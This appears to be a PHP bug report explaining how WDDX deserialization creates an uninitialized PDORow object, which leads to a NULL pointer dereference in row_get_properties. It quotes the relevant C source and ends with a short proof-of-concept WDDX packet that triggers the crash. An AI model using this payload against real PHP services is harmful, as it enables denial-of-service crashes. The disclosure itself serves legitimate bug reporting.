Description:
------------
wddx.c
```
						object_init_ex(obj, *pce);
```

The PDORow object will be created in during WDDX packet deserialization.

pdo_stmt.c
```
void pdo_stmt_init(TSRMLS_D)
{
	...
	pdo_row_ce->create_object = pdo_row_new;
...
zend_object_value pdo_row_new(zend_class_entry *ce TSRMLS_DC)
{
	zend_object_value retval;

	retval.handle = zend_objects_store_put(NULL, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t)pdo_row_free_storage, NULL TSRMLS_CC);
	retval.handlers = &pdo_row_object_handlers;

	return retval;
}
```

But the PDORow object isn’t initialized in the pdo_row_new.

wddx.c
```
						zend_hash_merge(Z_OBJPROP_P(obj),
										Z_ARRVAL_P(ent2->data),
										(void (*)(void *)) zval_add_ref,
										(void *) &tmp, sizeof(zval *), 0);
```

Then the `Z_OBJPROP_P` macro will call to the PDORow object's get_properties handler.

pdo_stmt.c
```
static HashTable *row_get_properties(zval *object TSRMLS_DC)
{
	pdo_stmt_t * stmt = (pdo_stmt_t *) zend_object_store_get_object(object TSRMLS_CC);
	int i;

	if (stmt == NULL) {
		return NULL;
	}
```

Thus the row_get_properties will return NULL, this result in NULL pointer dereference.

PoC:
```
<?php

$wddx = "<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>PDORow</string></var></struct></data></wddxPacket>";
var_dump(wddx_deserialize($wddx));

?>
```